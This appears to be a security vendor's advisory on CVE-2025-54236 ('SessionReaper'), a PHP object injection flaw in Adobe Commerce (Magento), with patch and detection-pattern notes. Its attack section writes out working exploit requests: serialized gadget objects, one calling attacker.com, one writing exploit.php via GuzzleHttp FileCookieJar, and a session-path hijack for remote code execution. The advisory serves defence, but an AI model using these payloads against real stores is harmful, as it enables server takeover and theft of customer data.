This vulnerability is a 'PHP Object Injection' vulnerability discovered in Adobe Commerce (Magento).
Attackers exploit the fact that the ServiceInputProcessor component attempts deserialization without validation or
inspection to send serialized malicious PHP objects to vulnerable endpoints for execution.

A security patch for this vulnerability was released in September 2025, and our AIWAF products plan to address this vulnerability
through the "2330 / Adobe Commerce PHP Object Injection" pattern, which will be added in the June 2026 pattern update.

1. Overview

Adobe Commerce (Magento) is an enterprise e-commerce platform that helps businesses quickly build and manage online stores with
features such as an API-first approach and support for integrated B2B and B2C operations.

This report summarizes the analysis of CVE-2025-54236, a vulnerability found in this service.


Source: https://simplysecuregroup.com/adobe-commerce-flaw-cve-2025-54236-lets-hackers-take-over-customer-accounts/

2. Attack Type

CVE-2025-54236, referred to as SessionReaper, is a vulnerability in which an attacker sends requests that create serialized
PHP objects targeting Adobe Commerce (Magento) to manipulate session data and carry out an RCE attack.

By exploiting the fact that, when complex PHP objects are included in certain Adobe Commerce endpoints, the ServiceInputProcessor
component attempts deserialization without validation or inspection, the attacker tries to insert and execute serialized malicious PHP objects.

There are two main attack methods: one simply uploads a malicious PHP object to /rest/V1/guest-carts, and another uploads a malicious
PHP object into session data through the /customer/address_file/upload endpoint, then manipulates the session path so that
the session data is accessed from the uploaded path, thereby performing an RCE attack.

Attack Request:
POST /rest/V1/guest-carts HTTP/1.1
Host: www.test.com
Content-Type: application/json
Accept: application/json

{
"address": {
"region": "O:14:\"Laminas\\Http\\Uri\":1:{s:3:\"uri\";s:19:\"http://attacker.com\";}"
}
}

POST /customer/address_file/upload HTTP/1.1
Host: www.test.com
User-Agent: curl/7.68.0
Accept: */*
Cookie: form_key=pDAsBK0O6XfQiaun
Content-Length: 681
Content-Type: multipart/form-data; boundary=------------------------8529e9c47eb1d414

--------------------------8529e9c47eb1d414

Content-Disposition: form-data; name="form_key"
pDAsBK0O6XfQiaun

--------------------------8529e9c47eb1d414

Content-Disposition: form-data; name="custom_attributes[country_id]"; filename="sess_5i8j67rkaebhf1stv9ex01jo4h"
Content-Type: application/octet-stream

_|O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{S:8:"filename";S:38:"/var/www/html/magento2/pub/exploit.php";S:19:"storeSes
sionCookies";b:1;S:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{S:4:"data";a:3:{S:7:"Expires";i:1;S:7:"Di
scard";b:0;S:5:"Value";S:20:"\0a";}}S:10:"strictMode";N;}

--------------------------8529e9c47eb1d414--

PUT /rest/default/V1/guest-carts/abc/order HTTP/1.1
Host: www.test.com
User-Agent: curl/7.68.0
Cookie: PHPSESSID=5i8j67rkaebhf1stv9ex01jo4h
Accept: application/json
Content-Length: 132
Content-Type: application/x-www-form-urlencoded

{"paymentMethod":{"paymentData":{"context":{"urlBuilder":{"session":{"sessionConfig":{"savePath":"media/customer_address/
e"}}}}}}}}

3. Countermeasures

Adobe announced a security patch for this vulnerability in September 2025 after becoming aware of it.

Therefore, customers using this platform can respond to the vulnerability by applying the security patch.

Our AIWAF will address this issue through the “2330 / Adobe Commerce PHP Object Injection” pattern and other
related patterns that will be included in the June 2026 pattern update.


Source: https://helpx.adobe.com/kr/security/products/magento/apsb25-88.html

4. Conclusion

Adobe Commerce is a powerful enterprise-oriented e-commerce platform. In the case of CVE-2025-54236, detailed information about
the vulnerability has already been disclosed, and related attack cases have already been observed.
For that reason, customers using this platform should promptly apply the relevant security patch.

Our TA team continuously monitors vulnerabilities affecting Adobe products and will continue to respond quickly to any related
vulnerabilities discovered in the future.

5. Reference

1. https://nvd.nist.gov/vuln/detail/CVE-2025-54236
2. https://slcyber.io/research-center/why-nested-deserialization-is-still-harmful-magento-rce-cve-2025-54236/
3. https://www.sonicwall.com/blog/nested-deserialization-to-rce-in-adobe-commerce-magento-cve-2025-54236-
4. https://github.com/Baba01hacker666/cve-2025-54236/